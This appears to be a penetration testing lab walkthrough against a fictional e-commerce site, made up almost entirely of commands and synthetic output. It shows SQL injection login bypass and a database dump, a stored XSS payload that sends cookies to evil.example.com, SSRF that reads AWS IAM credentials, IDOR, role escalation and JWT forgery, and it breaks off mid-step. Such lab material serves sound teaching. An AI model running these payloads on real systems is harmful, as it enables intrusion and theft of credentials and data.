Lab 20: Web Application Penetration Testing¶

# Verify target is reachable (SYNTHETIC)
$ curl -s -o /dev/null -w "%{http_code}" https://shopstream.example.com
200

# Check response headers
$ curl -sI https://shopstream.example.com
HTTP/2 200
server: nginx/1.24.0
content-type: text/html; charset=utf-8
x-powered-by: Gunicorn/21.2.0
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
set-cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...; HttpOnly; Secure; SameSite=Lax
strict-transport-security: max-age=31536000; includeSubDomains

# Login with test credentials (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","password":"REDACTED"}' | jq .

{
  "status": "success",
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE_REDACTED",
  "user": {
    "id": 1001,
    "username": "testuser",
    "role": "customer",
    "email": "testuser@example.com"
  }
}

# Detailed header inspection (SYNTHETIC)
$ curl -sI https://shopstream.example.com | grep -i "server\|x-powered\|x-frame\|content-security\|x-content\|strict"

server: nginx/1.24.0
x-powered-by: Gunicorn/21.2.0
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
strict-transport-security: max-age=31536000; includeSubDomains

# Extract technology indicators from page source (SYNTHETIC)
$ curl -s https://shopstream.example.com | grep -oP '(src|href)="[^"]*"' | head -20

src="/static/js/jquery-3.6.4.min.js"
src="/static/js/bootstrap-5.3.2.min.js"
src="/static/js/shopstream-app.js"
src="/static/js/cart-handler.js"
href="/static/css/bootstrap-5.3.2.min.css"
href="/static/css/shopstream-theme.css"
src="/static/js/vue-3.3.4.min.js"
href="/static/fonts/fontawesome-6.4.0/css/all.min.css"

# Retrieve robots.txt (SYNTHETIC)
$ curl -s https://shopstream.example.com/robots.txt

User-agent: *
Disallow: /admin/
Disallow: /api/v2/internal/
Disallow: /debug/
Disallow: /backup/
Disallow: /staging/
Sitemap: https://shopstream.example.com/sitemap.xml

# Retrieve sitemap (SYNTHETIC)
$ curl -s https://shopstream.example.com/sitemap.xml | head -30

<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <url><loc>https://shopstream.example.com/</loc></url>
  <url><loc>https://shopstream.example.com/products</loc></url>
  <url><loc>https://shopstream.example.com/categories</loc></url>
  <url><loc>https://shopstream.example.com/deals</loc></url>
  <url><loc>https://shopstream.example.com/about</loc></url>
  <url><loc>https://shopstream.example.com/contact</loc></url>
  <url><loc>https://shopstream.example.com/faq</loc></url>
  <url><loc>https://shopstream.example.com/blog</loc></url>
  <url><loc>https://shopstream.example.com/account/login</loc></url>
  <url><loc>https://shopstream.example.com/account/register</loc></url>
</urlset>

# Directory brute-force with ffuf (SYNTHETIC)
$ ffuf -u https://shopstream.example.com/FUZZ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -mc 200,301,302,403 \
  -fc 404 \
  -t 50 \
  -o ffuf-results.json \
  -of json

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : https://shopstream.example.com/FUZZ
 :: Wordlist         : FUZZ: directory-list-2.3-medium.txt
 :: Output file      : ffuf-results.json
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200,301,302,403
 :: Filter           : Response status: 404
________________________________________________

products                [Status: 200, Size: 14523, Words: 1247]
admin                   [Status: 302, Size: 0, Words: 0]
api                     [Status: 200, Size: 892, Words: 67]
static                  [Status: 301, Size: 0, Words: 0]
account                 [Status: 302, Size: 0, Words: 0]
cart                    [Status: 302, Size: 0, Words: 0]
checkout                [Status: 302, Size: 0, Words: 0]
debug                   [Status: 403, Size: 274, Words: 14]
backup                  [Status: 403, Size: 274, Words: 14]
staging                 [Status: 200, Size: 8921, Words: 743]
uploads                 [Status: 301, Size: 0, Words: 0]
health                  [Status: 200, Size: 45, Words: 3]
metrics                 [Status: 200, Size: 12847, Words: 534]
graphql                 [Status: 200, Size: 1204, Words: 89]
swagger                 [Status: 200, Size: 34521, Words: 4523]
:: Progress: [220546/220546] :: Job [1/1] :: 1250 req/sec :: Duration: [0:02:56] :: Errors: 0 ::

# Enumerate API v2 endpoints (SYNTHETIC)
$ ffuf -u https://shopstream.example.com/api/v2/FUZZ \
  -w /usr/share/wordlists/api/api-endpoints.txt \
  -mc 200,201,401,403,405 \
  -H "Authorization: Bearer eyJ0eXAiOiJKV1Qi..." \
  -t 30

users                   [Status: 401, Size: 67, Words: 5]
users/me                [Status: 200, Size: 342, Words: 23]
products                [Status: 200, Size: 45123, Words: 3456]
products/search         [Status: 200, Size: 892, Words: 67]
orders                  [Status: 200, Size: 2341, Words: 178]
orders/history          [Status: 200, Size: 1567, Words: 112]
cart                    [Status: 200, Size: 456, Words: 34]
reviews                 [Status: 200, Size: 8934, Words: 678]
coupons/validate        [Status: 405, Size: 89, Words: 6]
admin/users             [Status: 403, Size: 78, Words: 6]
admin/orders            [Status: 403, Size: 78, Words: 6]
admin/analytics         [Status: 403, Size: 78, Words: 6]
internal/health         [Status: 200, Size: 234, Words: 12]
internal/config         [Status: 200, Size: 1456, Words: 89]
upload/image            [Status: 405, Size: 89, Words: 6]
export/orders           [Status: 403, Size: 78, Words: 6]

# Swagger/OpenAPI documentation exposed (SYNTHETIC)
$ curl -s https://shopstream.example.com/swagger | head -20

<!DOCTYPE html>
<html>
<head><title>ShopStream API v2 — Swagger UI</title></head>
<body>
  <div id="swagger-ui"></div>
  <script>
    SwaggerUIBundle({
      url: "/api/v2/openapi.json",
      dom_id: '#swagger-ui'
    })
  </script>
</body>
</html>

# Retrieve OpenAPI spec (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/openapi.json | jq '.paths | keys[]'

"/api/v2/auth/login"
"/api/v2/auth/register"
"/api/v2/auth/reset-password"
"/api/v2/auth/refresh"
"/api/v2/users/{user_id}"
"/api/v2/users/me"
"/api/v2/products"
"/api/v2/products/{product_id}"
"/api/v2/products/search"
"/api/v2/orders"
"/api/v2/orders/{order_id}"
"/api/v2/orders/{order_id}/invoice"
"/api/v2/cart"
"/api/v2/cart/checkout"
"/api/v2/reviews"
"/api/v2/reviews/{review_id}"
"/api/v2/coupons/validate"
"/api/v2/upload/image"
"/api/v2/admin/users"
"/api/v2/admin/orders"
"/api/v2/admin/analytics"
"/api/v2/internal/health"
"/api/v2/internal/config"
"/api/v2/export/orders"

# Internal config endpoint leaking sensitive data (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/internal/config | jq .

{
  "app_name": "ShopStream",
  "version": "3.2.1",
  "environment": "production",
  "debug_mode": false,
  "database": {
    "host": "10.20.2.10",
    "port": 5432,
    "name": "shopstream_prod",
    "user": "app_user"
  },
  "redis": {
    "host": "10.20.2.20",
    "port": 6379
  },
  "jwt_algorithm": "HS256",
  "jwt_expiry": 3600,
  "upload_dir": "/var/www/shopstream/uploads/",
  "max_upload_size": "10MB",
  "allowed_extensions": ["jpg", "jpeg", "png", "gif", "svg"],
  "cloud_metadata_proxy": true,
  "aws_region": "us-east-1"
}

# Nikto web server scan (SYNTHETIC)
$ nikto -h https://shopstream.example.com -o nikto-report.html -Format htm

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          198.51.100.10
+ Target Hostname:    shopstream.example.com
+ Target Port:        443
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /CN=shopstream.example.com
                   Ciphers:  TLS_AES_256_GCM_SHA384
                   Issuer:   /C=US/O=Let's Encrypt/CN=R3
+ Start Time:         2026-03-22 08:15:00 (GMT0)
---------------------------------------------------------------------------
+ Server: nginx/1.24.0
+ /: X-Powered-By header found: Gunicorn/21.2.0
+ /: Missing Content-Security-Policy header.
+ /: Missing Permissions-Policy header.
+ /admin/: Admin login page found.
+ /swagger/: Swagger API documentation found.
+ /staging/: Staging environment accessible from production.
+ /metrics: Application metrics endpoint publicly accessible.
+ /health: Health check endpoint found.
+ /uploads/: Directory listing enabled — may expose uploaded files.
+ /static/: Directory listing enabled.
+ /.git/HEAD: Git repository metadata found (information disclosure).
+ /api/v2/internal/config: Internal configuration endpoint accessible.
+ 7 findings identified.
---------------------------------------------------------------------------
+ End Time: 2026-03-22 08:17:34 (GMT0) (154 seconds)
---------------------------------------------------------------------------

# Normal login request (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","password":"REDACTED"}' | jq .

{
  "status": "success",
  "token": "eyJ0eXAiOiJKV1Qi...",
  "user": {"id": 1001, "username": "testuser", "role": "customer"}
}

# Test for SQL injection with single quote (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser'\''","password":"anything"}' | jq .

{
  "status": "error",
  "message": "An unexpected error occurred",
  "detail": "ProgrammingError: unterminated quoted string at or near \"'testuser''\" LINE 1: ...FROM users WHERE username = 'testuser'' AND password_hash = ..."
}

# SQLi authentication bypass (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin'\'' OR 1=1 --","password":"anything"}' | jq .

{
  "status": "success",
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE_REDACTED",
  "user": {
    "id": 1,
    "username": "admin",
    "role": "admin",
    "email": "admin@pinnacle-commerce.example.com"
  }
}

# Determine number of columns via ORDER BY (SYNTHETIC)
# ORDER BY 1 — OK
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+ORDER+BY+1--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.status'
"success"

# ORDER BY 7 — OK
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+ORDER+BY+7--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.status'
"success"

# ORDER BY 8 — ERROR (column count is 7)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+ORDER+BY+8--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq .

{
  "status": "error",
  "message": "An unexpected error occurred",
  "detail": "ORDER BY position 8 is not in select list"
}

# Extract database version and current user (SYNTHETIC)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q='+UNION+SELECT+1,version(),current_user,4,5,6,7--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.results[0]'

{
  "id": 1,
  "name": "PostgreSQL 15.4 on x86_64-pc-linux-gnu",
  "description": "app_user",
  "price": 4,
  "category": 5,
  "image_url": 6,
  "rating": 7
}

# Enumerate database tables (SYNTHETIC)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q='+UNION+SELECT+1,table_name,table_schema,4,5,6,7+FROM+information_schema.tables+WHERE+table_schema='public'--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.results[].name'

"users"
"products"
"orders"
"order_items"
"reviews"
"coupons"
"sessions"
"password_resets"
"admin_audit_log"
"payment_methods"

# Enumerate columns in users table (SYNTHETIC)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q='+UNION+SELECT+1,column_name,data_type,4,5,6,7+FROM+information_schema.columns+WHERE+table_name='users'--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.results[] | {column: .name, type: .description}'

{"column": "id", "type": "integer"}
{"column": "username", "type": "character varying"}
{"column": "email", "type": "character varying"}
{"column": "password_hash", "type": "character varying"}
{"column": "role", "type": "character varying"}
{"column": "full_name", "type": "character varying"}
{"column": "created_at", "type": "timestamp without time zone"}
{"column": "last_login", "type": "timestamp without time zone"}
{"column": "mfa_secret", "type": "character varying"}
{"column": "api_key", "type": "character varying"}

# Extract user credentials (SYNTHETIC — all data fictional)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q='+UNION+SELECT+id,username,email,password_hash,role,full_name,7+FROM+users+LIMIT+5--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.results[] | {id, username: .name, email: .description, hash: .price, role: .category}'

{"id": 1, "username": "admin", "email": "admin@pinnacle-commerce.example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "admin"}
{"id": 2, "username": "warehouse_mgr", "email": "warehouse@pinnacle-commerce.example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "manager"}
{"id": 3, "username": "support_agent", "email": "support@pinnacle-commerce.example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "support"}
{"id": 1001, "username": "testuser", "email": "testuser@example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "customer"}
{"id": 1002, "username": "jane_doe", "email": "jane@example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "customer"}

# Boolean-based blind SQLi — test if admin password hash starts with '$2b' (SYNTHETIC)
# TRUE condition — normal results returned
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+AND+(SELECT+SUBSTRING(password_hash,1,3)+FROM+users+WHERE+username='admin')='\$2b'--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.results | length'
12

# FALSE condition — no results returned
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+AND+(SELECT+SUBSTRING(password_hash,1,3)+FROM+users+WHERE+username='admin')='xxx'--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.results | length'
0

# Time-based blind SQLi — if admin exists, delay 5 seconds (SYNTHETIC)
$ time curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+AND+(SELECT+CASE+WHEN+(SELECT+count(*)+FROM+users+WHERE+role='admin')>0+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END)--" \
  -H "Authorization: Bearer eyJ0eXAi..." -o /dev/null

real    0m5.127s    # 5-second delay confirms admin user exists
user    0m0.012s
sys     0m0.008s

# SQLMap against the search endpoint (SYNTHETIC)
$ sqlmap -u "https://shopstream.example.com/api/v2/products/search?q=test" \
  --headers="Authorization: Bearer eyJ0eXAi..." \
  --dbms=PostgreSQL \
  --level=3 --risk=2 \
  --batch \
  --threads=5 \
  --output-dir=./sqlmap-output

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
    consent is illegal. It is the end user's responsibility to obey applicable laws.

[08:25:01] [INFO] testing connection to the target URL
[08:25:01] [INFO] checking if the target is protected by some kind of WAF/IPS
[08:25:02] [INFO] testing if the target URL content is stable
[08:25:02] [INFO] target URL content is stable
[08:25:02] [INFO] testing if GET parameter 'q' is dynamic
[08:25:02] [INFO] GET parameter 'q' appears to be dynamic
[08:25:02] [INFO] heuristic (basic) test shows that GET parameter 'q' might be injectable (possible DBMS: 'PostgreSQL')
[08:25:03] [INFO] testing for SQL injection on GET parameter 'q'
[08:25:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[08:25:04] [INFO] GET parameter 'q' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[08:25:04] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[08:25:05] [INFO] GET parameter 'q' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable
[08:25:05] [INFO] testing 'PostgreSQL UNION query (NULL) - 1 to 20 columns'
[08:25:06] [INFO] GET parameter 'q' is 'PostgreSQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: q (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: q=test' AND 5765=5765 AND 'test'='test

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: q=test';SELECT PG_SLEEP(5)--

    Type: UNION query
    Title: PostgreSQL UNION query (NULL) - 7 columns
    Payload: q=test' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: q=test' AND 5765=5765 AND pg_sleep(5) AND 'test'='test
---
[08:25:06] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL 15.4

# Dump users table with SQLMap (SYNTHETIC)
$ sqlmap -u "https://shopstream.example.com/api/v2/products/search?q=test" \
  --headers="Authorization: Bearer eyJ0eXAi..." \
  --dbms=PostgreSQL \
  -D shopstream_prod -T users \
  --dump --batch \
  --threads=5

Database: shopstream_prod
Table: users
[5 entries]
+------+----------------+------------------------------------------+----------+------------------------------------+
| id   | username       | email                                    | role     | password_hash                      |
+------+----------------+------------------------------------------+----------+------------------------------------+
| 1    | admin          | admin@pinnacle-commerce.example.com      | admin    | $2b$12$SYNTHETIC_HASH_REDACTED     |
| 2    | warehouse_mgr  | warehouse@pinnacle-commerce.example.com  | manager  | $2b$12$SYNTHETIC_HASH_REDACTED     |
| 3    | support_agent  | support@pinnacle-commerce.example.com    | support  | $2b$12$SYNTHETIC_HASH_REDACTED     |
| 1001 | testuser       | testuser@example.com                     | customer | $2b$12$SYNTHETIC_HASH_REDACTED     |
| 1002 | jane_doe       | jane@example.com                         | customer | $2b$12$SYNTHETIC_HASH_REDACTED     |
+------+----------------+------------------------------------------+----------+------------------------------------+

# Normal search request (SYNTHETIC)
$ curl -s "https://shopstream.example.com/products/search?q=laptop" | grep -o 'Results for:.*</h2>'
Results for: laptop</h2>

# Test with HTML tag (SYNTHETIC)
$ curl -s "https://shopstream.example.com/products/search?q=<b>test</b>" | grep -o 'Results for:.*</h2>'
Results for: <b>test</b></h2>

# Submit a review with XSS payload (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/reviews \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{
    "product_id": 42,
    "rating": 5,
    "title": "Great product!",
    "comment": "Loved it! <img src=x onerror=document.location=\"https://evil.example.com/steal?c=\"+document.cookie>"
  }' | jq .

{
  "status": "success",
  "review_id": 8847,
  "message": "Review submitted successfully"
}

# View the product page — XSS payload is stored and rendered (SYNTHETIC)
$ curl -s "https://shopstream.example.com/products/42" | grep -A5 'review-8847'

<div class="review" id="review-8847">
  <h4>Great product!</h4>
  <div class="stars">★★★★★</div>
  <p>Loved it! <img src=x onerror=document.location="https://evil.example.com/steal?c="+document.cookie></p>
  <span class="reviewer">testuser — 2026-03-22</span>
</div>

# Attacker sets up a listener (SYNTHETIC — educational only)
# On attacker-controlled server at evil.example.com:
$ python3 -m http.server 8443 --bind 203.0.113.50

# When a victim views the page with stored XSS, the attacker's server receives:
# GET /steal?c=session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9... HTTP/1.1
# Host: evil.example.com
# Referer: https://shopstream.example.com/products/42

# Attacker replays the stolen session (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/users/me \
  -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.SYNTHETIC_SIGNATURE" | jq .

{
  "id": 1,
  "username": "admin",
  "role": "admin",
  "email": "admin@pinnacle-commerce.example.com",
  "full_name": "Admin User (SYNTHETIC)"
}

# Normal image import (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{"image_url": "https://images.example.com/product-photo.jpg", "product_id": 42}' | jq .

{
  "status": "success",
  "message": "Image imported successfully",
  "stored_path": "/uploads/products/42/imported_a1b2c3.jpg",
  "source_url": "https://images.example.com/product-photo.jpg",
  "size_bytes": 245780
}

# SSRF: Request internal service (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{"image_url": "http://10.20.2.10:5432/", "product_id": 42}' | jq .

{
  "status": "error",
  "message": "Failed to import image",
  "detail": "Connection to 10.20.2.10:5432 — received non-image response (content-type: text/plain)",
  "response_preview": "PostgreSQL 15.4 on x86_64-pc-linux-gnu, compiled by gcc..."
}

# SSRF: Access AWS Instance Metadata Service (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{"image_url": "http://169.254.169.254/latest/meta-data/", "product_id": 42}' | jq .

{
  "status": "error",
  "message": "Failed to import image",
  "detail": "Connection to 169.254.169.254 — received non-image response (content-type: text/plain)",
  "response_preview": "ami-id\nami-launch-index\nami-manifest-path\nhostname\ninstance-action\ninstance-id\ninstance-type\nlocal-hostname\nlocal-ipv4\nmac\nnetwork\nplacement\nprofile\npublic-hostname\npublic-ipv4\nreservation-id\nsecurity-groups\niam/"
}

# SSRF: Extract IAM credentials from metadata (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{"image_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/shopstream-ec2-role", "product_id": 42}' | jq .

{
  "status": "error",
  "message": "Failed to import image",
  "detail": "Connection to 169.254.169.254 — received non-image response (content-type: text/plain)",
  "response_preview": "{\n  \"Code\": \"Success\",\n  \"LastUpdated\": \"2026-03-22T08:00:00Z\",\n  \"Type\": \"AWS-HMAC\",\n  \"AccessKeyId\": \"ASIA0000SYNTHETIC01\",\n  \"SecretAccessKey\": \"REDACTED\",\n  \"Token\": \"SYNTHETIC_SESSION_TOKEN_REDACTED\",\n  \"Expiration\": \"2026-03-22T14:00:00Z\"\n}"
}

# SSRF: Scan internal network for open services (SYNTHETIC)
# Testing common ports on internal subnet

# Redis (port 6379) — OPEN
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{"image_url": "http://10.20.2.20:6379/", "product_id": 42}' | jq '.detail'

"Connection to 10.20.2.20:6379 — received non-image response (content-type: text/plain)"

# Internal admin panel (port 8080) — OPEN
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{"image_url": "http://10.20.1.10:8080/admin/", "product_id": 42}' | jq '.detail'

"Connection to 10.20.1.10:8080 — received non-image response (content-type: text/html)"

# Non-existent host — CLOSED
$ curl -s -X POST https://shopstream.example.com/api/v2/upload/image \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi..." \
  -d '{"image_url": "http://10.20.3.99:80/", "product_id": 42}' | jq '.detail'

"Connection to 10.20.3.99:80 — connection timed out"

# Retrieve own order (SYNTHETIC — authorized)
$ curl -s https://shopstream.example.com/api/v2/orders/5001 \
  -H "Authorization: Bearer eyJ0eXAi_testuser_token..." | jq .

{
  "order_id": 5001,
  "user_id": 1001,
  "status": "delivered",
  "total": 149.99,
  "items": [
    {"product_id": 42, "name": "Wireless Headphones", "quantity": 1, "price": 149.99}
  ],
  "shipping_address": {
    "name": "Test User",
    "street": "123 Test Street",
    "city": "Testville",
    "state": "TS",
    "zip": "00000"
  },
  "created_at": "2026-03-15T10:30:00Z"
}

# IDOR: Access another user's order (SYNTHETIC — unauthorized)
$ curl -s https://shopstream.example.com/api/v2/orders/5002 \
  -H "Authorization: Bearer eyJ0eXAi_testuser_token..." | jq .

{
  "order_id": 5002,
  "user_id": 1002,
  "status": "shipped",
  "total": 299.50,
  "items": [
    {"product_id": 78, "name": "Smart Watch", "quantity": 1, "price": 199.50},
    {"product_id": 112, "name": "Watch Band", "quantity": 2, "price": 50.00}
  ],
  "shipping_address": {
    "name": "Jane Doe (SYNTHETIC)",
    "street": "456 Synthetic Avenue",
    "city": "Fictional City",
    "state": "FC",
    "zip": "99999"
  },
  "created_at": "2026-03-16T14:22:00Z"
}

# IDOR: Access another user's profile (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/users/1 \
  -H "Authorization: Bearer eyJ0eXAi_testuser_token..." | jq .

{
  "id": 1,
  "username": "admin",
  "email": "admin@pinnacle-commerce.example.com",
  "full_name": "Admin User (SYNTHETIC)",
  "role": "admin",
  "phone": "+1-555-0100 (SYNTHETIC)",
  "created_at": "2025-01-15T09:00:00Z",
  "last_login": "2026-03-22T07:45:00Z",
  "mfa_enabled": true
}

# Attempt to modify own profile to escalate role (SYNTHETIC)
$ curl -s -X PUT https://shopstream.example.com/api/v2/users/1001 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi_testuser_token..." \
  -d '{"full_name": "Test User", "role": "admin"}' | jq .

{
  "status": "success",
  "message": "Profile updated successfully",
  "user": {
    "id": 1001,
    "username": "testuser",
    "role": "admin",
    "full_name": "Test User"
  }
}

# Decode JWT header and payload (SYNTHETIC)
$ echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE" \
  | cut -d. -f1 | base64 -d 2>/dev/null

{"typ":"JWT","alg":"HS256"}

$ echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE" \
  | cut -d. -f2 | base64 -d 2>/dev/null

{"user_id":1001,"username":"testuser","role":"customer","exp":1711150000}

# Using jwt_tool (SYNTHETIC)
$ python3 jwt_tool.py \
  "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE" \
  -X a

        \   \        \   \  \
   \__   |   |  \     \ |  |
         |   |   |      | |
    \   |  \ |    /     | |
     \  | |  | |  | |   | |
      \_|_|__|_|_|_|____|_|
             jwt_tool v2.2.7

[1] Tampered JWT - alg: none
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.

[2] Tampered JWT - alg: None
eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.

[3] Tampered JWT - alg: NONE
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.

# Forge admin JWT with 'none' algorithm and modified role (SYNTHETIC)
# Header: {"typ":"JWT","alg":"none"}
# Payload: {"user_id":1,"username":"admin","role":"admin","exp":9999999999}
# Signature: (empty)

$ FORGED_JWT="eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ."

$ curl -s https://shopstream.example.com/api/v2/admin/users \
  -H "Authorization: Bearer $FORGED_JWT" | jq '.users | length'

5

# Download the server's public key (SYNTHETIC — often exposed at JWKS endpoint)
$ curl -s https://shopstream.example.com/.well-known/jwks.json | jq .

{
  "keys": [
    {
      "kty": "RSA",
      "kid": "shopstream-signing-key-1",
      "use": "sig",
      "n": "SYNTHETIC_RSA_MODULUS_REDACTED",
      "e": "AQAB"
    }
  ]
}

# Convert JWK to PEM format (SYNTHETIC)
# Then sign a forged JWT using the public key as HMAC secret
$ python3 jwt_tool.py \
  "$ORIGINAL_JWT" \
  -X k \
  -pk public_key.pem \
  -I -pc role -pv admin \
  -I -pc user_id -pv 1

[+] Tampered JWT (HS256 signed with RSA public key):
